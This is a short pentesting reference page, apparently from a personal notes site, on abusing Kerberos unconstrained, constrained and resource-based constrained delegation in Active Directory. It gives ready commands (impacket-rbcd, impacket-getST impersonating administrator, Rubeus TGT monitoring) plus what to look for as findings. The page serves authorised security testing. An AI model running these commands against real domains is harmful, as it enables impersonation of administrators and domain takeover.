pentesting, updated

Kerberos delegation abuse

Abuse unconstrained, constrained or resource-based constrained delegation to impersonate a privileged user.

Goal

Use a computer or service account configured for delegation to obtain a ticket as a more privileged user, without ever having their password.

How to test

# RBCD — write to a target computer's msDS-AllowedToActOnBehalfOfOtherIdentity:
impacket-rbcd -delegate-to TARGET$ -delegate-from attacker-controlled-computer$ -action write \
  corp.local/jdoe:Password1
impacket-getST -spn cifs/target.corp.local -impersonate administrator \
  corp.local/attacker-controlled-computer$ -dc-ip 10.10.10.5

# unconstrained delegation — wait for/coerce a privileged logon, then dump its TGT
Rubeus.exe monitor /interval:5 /filteruser:Administrator

What to look for

A computer account with unconstrained delegation enabled (any TGT that authenticates to it can be extracted from its memory), or any account where you can write RBCD on a target with an exploitable service.

Notes

Unconstrained delegation on a non-DC host is a critical finding by itself — it is rarely needed outside domain controllers and print servers.

§ home
~/knubertus/home/
1,1 Top